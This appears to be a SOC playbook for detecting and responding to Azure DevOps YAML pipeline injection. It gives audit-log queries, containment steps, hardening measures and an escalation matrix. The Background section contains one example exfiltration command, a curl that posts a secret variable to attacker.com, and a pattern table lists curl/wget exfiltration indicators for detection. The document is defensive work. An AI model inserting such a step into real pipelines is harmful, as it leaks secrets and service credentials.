SOP-46: Azure DevOps Pipeline Injection Response

·

Azure DevOps pipeline injection occurs when an attacker modifies a YAML pipeline definition to execute arbitrary commands during a build — gaining access to pipeline secret variables, service connection credentials (which often have Contributor access to Azure subscriptions), and repository secrets. Attackers may compromise a developer account, push a malicious YAML change, or exploit a pull-request-triggered pipeline from a forked repository.

Pipeline audit events are available in Azure DevOps under Organization Settings → Audit and can be forwarded to Sentinel via the Azure DevOps Audit Log connector. All pipeline definition changes and manual pipeline runs outside scheduled triggers require SOC review.

☰ Table of Contents

01 Background 02 Identification 03 Containment 04 Eradication 05 Escalation
🛠

01 — BACKGROUND

TECHNIQUE OVERVIEW
01
Pipeline Injection Attack Surface
T1195.002 / T1059

CI/CD pipelines run with privileged service connection credentials and have access to secret variables set at the pipeline or variable group level. An attacker who modifies a YAML pipeline can add a step such as curl -d "$(SECRET_VAR)" https://attacker.com to exfiltrate secrets. Pipelines triggered by pull requests from forks are especially dangerous if the organization allows fork builds to access protected variables.

FieldValue
MITRE TechniqueT1195.002 — Compromise Software Supply Chain, T1059 — Command and Scripting Interpreter
Log SourceAzureDevOpsAuditing (Sentinel connector), Azure DevOps Audit Log UI
Key Event TypesPipelineModified, PipelineCreated, PipelineRunQueued, SecurityPermissions.Modified
High-Risk ResourcesService connections (sub-level access), variable groups (secrets), agent pools
Detection PriorityHIGH — any YAML pipeline definition change by a non-pipeline-owner identity
🔍

02 — IDENTIFICATION

2 INDICATORS
▶ Investigation Workflow
I1
Unauthorized Pipeline YAML Modification Detection
T1195.002
WHY CHECK

Azure DevOps audit logs record every pipeline modification event including who changed the YAML, from which repository, and at what time. Any pipeline definition change made by an account that is not a pipeline owner or a DevOps administrator, or any change made directly to a main/production branch pipeline without a pull request review, warrants immediate review of the YAML diff for injected malicious steps.

📍 Portal Navigation — Azure DevOps Audit Log
dev.azure.com/{org} Organization Settings Audit → filter: Area = Pipelines
  • 1Navigate to Organization Settings → Audit. Filter by Area: Pipelines and time range Last 24 hours. Export to CSV if needed for analysis.
  • 2Review all PipelineModified and PipelineCreated events. Note the Actor (user who made the change), Project, and Pipeline name.
  • 3For each flagged modification, navigate to the repository and review the YAML diff for the commit in question. Look for added script steps containing curl, wget, Invoke-WebRequest, env, or direct echo of environment variables to external URLs.
  • 4Check whether the modified pipeline ran successfully after the YAML change. If yes, assume secret variables exposed during that run are compromised.
  • 5Run the KQL below to query Azure DevOps audit events forwarded to Sentinel for pipeline modification events in the last 24 hours.
PatternMeaningAction
curl/wget to external IP in YAMLSecret variable exfiltration step injected into pipelineROTATE ALL SECRETS NOW
echo $SECRET_VAR in script stepSecret printed to build log (may be masked but bypasses exist)Rotate and audit build logs
Non-owner made YAML changeUnauthorized user modified pipeline definitionReview diff, check account compromise
PR from fork triggered pipelineExternal contributor triggered build with access to secretsDisable fork pipeline secret access
DETECTS: Azure DevOps pipeline modification events forwarded to Microsoft Sentinel — identifies all pipeline YAML changes in the last 24 hours with actor identity and project for unauthorized modification triage.
KQL — Microsoft Sentinel (AzureDevOpsAuditing — Pipeline Modifications)
AzureDevOpsAuditing | where TimeGenerated > ago(24h) | where Area == "Pipelines" | where OperationName in ("PipelineModified","PipelineCreated","PipelineRunQueued") | extend Actor = tostring(ActorDisplayName) | extend ProjectName = tostring(ProjectName) | extend PipelineName = tostring(Data.PipelineName) | project TimeGenerated, OperationName, Actor, ProjectName, PipelineName, IpAddress, Data | order by TimeGenerated desc
DETECTS: Azure DevOps pipeline modification and run events in Splunk — groups by actor to identify accounts making frequent or unusual pipeline changes.
SPL — Splunk
index=* sourcetype=azure:devops:audit area=Pipelines (operationName=PipelineModified OR operationName=PipelineCreated) | stats count as modifications, values(pipelineName) as pipelines, values(projectName) as projects by actorDisplayName, ipAddress | sort -modifications
I2
Service Connection & Secret Variable Exfiltration Check
T1059
WHY CHECK

If the malicious pipeline ran successfully, the attacker likely exfiltrated service connection credentials and pipeline secret variables. Service connections in Azure DevOps often carry Azure Resource Manager credentials equivalent to Contributor on a production subscription. A successful exfiltration means the attacker now has full Azure access and can pivot to every resource in that subscription.

📍 Portal Navigation — Azure DevOps Service Connections
dev.azure.com/{org}/{project} Project Settings Service connections → review each connection's Azure permissions
  • 1Navigate to Project Settings → Service connections. For each Azure Resource Manager service connection used by the compromised pipeline, note the associated service principal and its Azure RBAC role.
  • 2Immediately revoke the client secrets of all service principals associated with the service connections used by the pipeline that ran with the malicious YAML.
  • 3Review the build log of the malicious run (Pipelines → [Pipeline] → [Run] → Job → step logs) for evidence of secret variable output, outbound HTTP requests, or data exfiltration artifacts.
  • 4Check AzureActivity for any operations performed using the compromised service principal credentials in the window after the pipeline run completed.
  • 5Run the KQL below to find AzureActivity operations from the service principal in the hours after the malicious pipeline run.
DETECTS: Azure subscription operations performed by the DevOps service principal after a suspected pipeline injection — identifies if the exfiltrated service connection credential was used to access Azure resources.
KQL — Microsoft Sentinel (AzureActivity — SP Post-Compromise Activity)
let ServicePrincipalOID = "SP_OID"; let PipelineRunTime = datetime("PIPELINE_RUN_TIMESTAMP"); AzureActivity | where TimeGenerated between (PipelineRunTime .. (PipelineRunTime + 4h)) | where Caller contains ServicePrincipalOID | where OperationNameValue !contains "READ" | project TimeGenerated, OperationNameValue, ResourceGroup, Resource, ActivityStatusValue, Caller, CallerIpAddress | order by TimeGenerated asc

Build logs in Azure DevOps are retained for 30 days by default. If you need to preserve evidence of the malicious pipeline run logs, export them immediately before they are purged or overwritten by subsequent runs.

🚫

03 — CONTAINMENT

IMMEDIATE ACTION
C1
Verdict & Escalation Decision
DECISION GATE
▶ Triage Verdict — Select One
CONFIRMED Malicious YAML ran successfully, service connection credentials exfiltrated, post-run Azure activity detected → Revoke all service connection SPs, rotate all pipeline secrets, full subscription audit
PARTIAL Malicious YAML detected but pipeline not yet run (or run failed) → Revert YAML immediately, disable pipeline, investigate actor account
FALSE POSITIVE Authorized engineer added a debug script step that triggered alert → Verify with dev team, ensure no secret echo, remove debug step, close
C2
Immediate Containment Actions
CONTAINMENT
  • 1Disable the affected pipeline: Pipelines → [Pipeline] → Edit → More options → Disable pipeline.
  • 2Revert the malicious YAML commit via git revert or direct edit to remove the injected step.
  • 3Revoke all service principal client secrets associated with service connections used by this pipeline.
  • 4Rotate all pipeline secret variables and linked variable group secrets for the affected project.
  • 5Disable the actor's Azure DevOps account while the investigation is ongoing: Organization Settings → Users → [User] → Remove from organization (or suspend via Entra ID).
🗑

04 — ERADICATION

CLEANUP
E1
Pipeline Security Hardening
ERADICATION
  • 1Enable required reviewers for pipeline YAML changes to the main branch: Repos → Branch policies → Require a minimum number of reviewers (2) for yaml file changes.
  • 2Disable fork pipelines accessing secret variables: Project Settings → Settings → "Limit job authorization scope" and disable "Make secrets available to builds from forked repositories".
  • 3Apply Protected resource gating on all service connections and variable groups: require pipeline approval before access is granted for new or modified pipelines.
  • 4Create a Sentinel analytics rule alerting on PipelineModified events from non-approved DevOps administrator accounts.
  • 5Implement least-privilege service connections — each pipeline's service connection should have only the specific Azure RBAC permissions it needs for its deployment target, not subscription-wide Contributor.
Eradication Complete When
  • Malicious YAML reverted and pipeline re-enabled with clean definition
  • All service connection SP credentials rotated
  • All pipeline secret variables rotated
  • Branch protection policies requiring YAML change review enforced
  • Fork pipeline secret variable access disabled
  • Protected resource gating on service connections enabled

After a pipeline injection incident, audit ALL pipelines in the organization for similar injected steps — an attacker with access to one project may have injected the same step into multiple pipelines simultaneously. Run a search across all YAML files in all repos for the exfiltration pattern (curl/wget + env var).

📢

05 — ESCALATION

ESCALATION PATHS
ES1
Escalation Matrix
ESCALATION
ConditionSeverityActionNotify
Service connection credential exfiltrated, Azure subscription activity confirmedSEV1Full IR, subscription-wide audit, rotate all credentialsCISO → Cloud team → Dev leads
Malicious pipeline ran, secret variable access confirmed in logsSEV1Rotate all secrets, audit all downstream systemsSOC Lead → CISO → Dev teams
YAML modified by unauthorized user, pipeline not yet runSEV2Revert YAML, disable pipeline, investigate actor accountSOC Lead → DevOps team lead
Authorized debug step, no secret exposureINFORemove debug step, tune alert, closeNone

Stay Threat-Ready

Follow CyberHawk Threat Intel for daily SOC analyst playbooks, detection engineering guides, and threat intelligence.

📺 YouTube 🎤 TikTok 🐦 X / Twitter 📡 Telegram
All SOPs Blog Web App (Free)
They can't exploit you if you are the Exploit.